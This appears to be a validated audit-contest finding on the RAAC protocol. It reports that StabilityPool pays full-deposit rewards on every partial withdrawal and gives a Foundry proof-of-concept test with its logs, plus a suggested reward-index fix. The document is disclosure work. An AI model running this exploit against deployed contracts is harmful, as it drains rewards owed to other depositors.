Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Broken reward mechanism allow users to drain all of the rewards

Summary

In StabilityPool::calculateRaacRewards, rewards are calculated based on the user's total deposit amount and the total RAAC token balance in the contract. However, users can withdraw small portions of their deposits multiple times to claim rewards based on their full deposit amount each time, leading to unfair reward distribution.

The issue stems from using the full userDeposits[user] amount to calculate rewards on each withdrawal, rather than tracking the portion of rewards already claimed or using a reward index system.

POC

In this example you can see that no matter what's the withdrawn amount, the user gets the same reward.

Create a foundry setup using the commands in this document:
https://book.getfoundry.sh/config/hardhat?highlight=hardhat#adding-foundry-to-a-hardhat-project

Create a raacFoundrySetup.t.sol file under the test directory and add this code:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {LendingPool} from "contracts/core/pools/LendingPool/LendingPool.sol";
import {StabilityPool} from "contracts/core/pools/StabilityPool/StabilityPool.sol";
import {crvUSDToken} from "contracts/mocks/core/tokens/crvUSDToken.sol";
import {RToken} from "contracts/core/tokens/RToken.sol";
import {DebtToken} from "contracts/core/tokens/DebtToken.sol";
import {RAACNFT} from "contracts/core/tokens/RAACNFT.sol";
import {RAACHousePricesMock} from "contracts/mocks/core/primitives/RAACHousePricesMock.sol";
import {RAACHousePriceOracle} from "contracts/core/oracles/RAACHousePriceOracle.sol";
import {MockFunctionsRouter} from "contracts/mocks/core/oracles/MockFunctionsRouter.sol";
import {FeeCollector} from "contracts/core/collectors/FeeCollector.sol";
import {MockVeToken} from "contracts/mocks/core/tokens/MockVeToken.sol";
import {RAACMinter} from "contracts/core/minters/RAACMinter/RAACMinter.sol";
import {DEToken} from "contracts/core/tokens/DEToken.sol";
import {RAACToken} from "contracts/core/tokens/RAACToken.sol";
import {MockVaultV3} from "contracts/mocks/CurveVaultMock.sol";
contract SetupContract is Test {
address public user1;
address public user2;
address public user3;
uint256 public currentBlockTimestamp = 1000 days;
address public treasury;
address public repairFund;
LendingPool public lendingPool;
crvUSDToken public _crvUSDToken;
RToken public rToken;
MockVeToken public veRToken;
DebtToken public debtToken;
RAACHousePricesMock public raacHousePrices;
RAACNFT public raacNFT;
RAACHousePriceOracle public raacHousePriceOracle;
FeeCollector public feeCollector;
StabilityPool public stabilityPool;
RAACMinter public raacMinter;
DEToken public deToken;
RAACToken public raacToken;
MockVaultV3 public curveVault;
uint256 public constant INITIAL_PRIME_RATE = 1e26;
function setUp() external {
vm.warp(currentBlockTimestamp);
user1 = makeAddr("user1");
user2 = makeAddr("user2");
user3 = makeAddr("user3");
treasury = makeAddr("treasury");
repairFund = makeAddr("repairFund");
stabilityPool = new StabilityPool(address(this));
veRToken = new MockVeToken();
_crvUSDToken = new crvUSDToken(address(this));
rToken = new RToken("rtoken", "rtk", address(this), address(_crvUSDToken)); // reserve pool
raacToken = new RAACToken(address(this), 0, 0);
deToken = new DEToken("deToken", "detk", address(this), address(rToken)); // setStabilityPool;
debtToken = new DebtToken("debtToken", "dtk", address(this)); //reservePool
raacHousePrices = new RAACHousePricesMock();
raacNFT = new RAACNFT(address(_crvUSDToken), address(raacHousePrices), address(this));
raacHousePriceOracle = new RAACHousePriceOracle(
address(new MockFunctionsRouter()), bytes32(bytes("fun-ethereum-mainnet-1")), address(this)
);
curveVault = new MockVaultV3(address(_crvUSDToken), "vault", "vv");
feeCollector = new FeeCollector(address(rToken), address(veRToken), treasury, repairFund, address(this));
lendingPool = new LendingPool(
address(_crvUSDToken),
address(rToken),
address(debtToken),
address(raacNFT),
address(raacHousePrices),
INITIAL_PRIME_RATE
);
//lendingPool.setCurveVault(address(curveVault));
raacMinter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), address(this));
stabilityPool.initialize(
address(rToken),
address(deToken),
address(raacToken),
address(raacMinter),
address(_crvUSDToken),
address(lendingPool)
);
raacToken.setMinter(address(raacMinter));
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
_crvUSDToken.mint(user1, 10000e18);
_crvUSDToken.mint(user2, 100e18);
_crvUSDToken.mint(user3, 1000e18);
}
function testBrokenRewardsMechanism() public {
vm.startPrank(user1);
_crvUSDToken.approve(address(lendingPool), 1000e18);
lendingPool.deposit(1000e18);
vm.stopPrank();
vm.startPrank(user2);
_crvUSDToken.approve(address(lendingPool), 100e18);
lendingPool.deposit(100e18);
vm.stopPrank();
raacHousePrices.setTokenPrice(1, 100e18);
vm.startPrank(user3);
_crvUSDToken.approve(address(raacNFT), 100e18);
raacNFT.mint(1, 100e18);
raacNFT.approve(address(lendingPool), 1);
lendingPool.depositNFT(1);
lendingPool.borrow(50e18);
vm.stopPrank();
vm.startPrank(user1);
rToken.approve(address(stabilityPool), 1000e18);
stabilityPool.deposit(1000e18);
vm.stopPrank();
vm.startPrank(user2);
rToken.approve(address(stabilityPool), 100e18);
stabilityPool.deposit(100e18);
console.log("Raac balance before first rewards withdraw", raacToken.balanceOf(user2));
vm.warp(currentBlockTimestamp + 2 days);
vm.roll(block.number + 2);
stabilityPool.withdraw(1);
vm.stopPrank();
console.log("Raac balance after first rewards withdraw", raacToken.balanceOf(user2));
}
function testBrokenRewardWithAnotherValue() public {
vm.startPrank(user1);
_crvUSDToken.approve(address(lendingPool), 1000e18);
lendingPool.deposit(1000e18);
vm.stopPrank();
vm.startPrank(user2);
_crvUSDToken.approve(address(lendingPool), 100e18);
lendingPool.deposit(100e18);
vm.stopPrank();
raacHousePrices.setTokenPrice(1, 100e18);
vm.startPrank(user3);
_crvUSDToken.approve(address(raacNFT), 100e18);
raacNFT.mint(1, 100e18);
raacNFT.approve(address(lendingPool), 1);
lendingPool.depositNFT(1);
lendingPool.borrow(50e18);
vm.stopPrank();
vm.startPrank(user1);
rToken.approve(address(stabilityPool), 1000e18);
stabilityPool.deposit(1000e18);
vm.stopPrank();
vm.startPrank(user2);
rToken.approve(address(stabilityPool), 100e18);
stabilityPool.deposit(100e18);
console.log("Raac balance before first rewards withdraw", raacToken.balanceOf(user2));
vm.warp(currentBlockTimestamp + 2 days);
vm.roll(block.number + 2);
stabilityPool.withdraw(100e18);
vm.stopPrank();
console.log("Raac balance after first rewards withdraw", raacToken.balanceOf(user2));
}
}
Ran 1 test for test/foundry/setup.t.sol:SetupContract
[PASS] testBrokenRewardsMechanism() (gas: 1183665)
Logs:
Raac balance before first rewards withdraw 0
Raac balance after first rewards withdraw 24873737373737373
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 12.23ms (2.71ms CPU time)
Ran 1 test suite in 258.60ms (12.23ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
vasilsariev@v 2025-02-raac % forge test --mt testBrokenRewardWithAnotherValue -vvv
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/foundry/setup.t.sol:SetupContract
[PASS] testBrokenRewardWithAnotherValue() (gas: 1144048)
Logs:
Raac balance before first rewards withdraw 0
Raac balance after first rewards withdraw 24873737373737373
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 17.94ms (4.65ms CPU time)

Impact

Users can exploit this to claim more RAAC rewards than they should be entitled to, allowing them to get a bigger voting power and exploit the protocol in many ways.

Recommendations

Implement a reward index system to track accumulated rewards per share, also add the exact amount of withdrawal in the award calculation in the calculateRaacRewards function to prevent double claiming through partial withdrawals.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::withdraw can be called with partial amounts, but it always send the full rewards

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!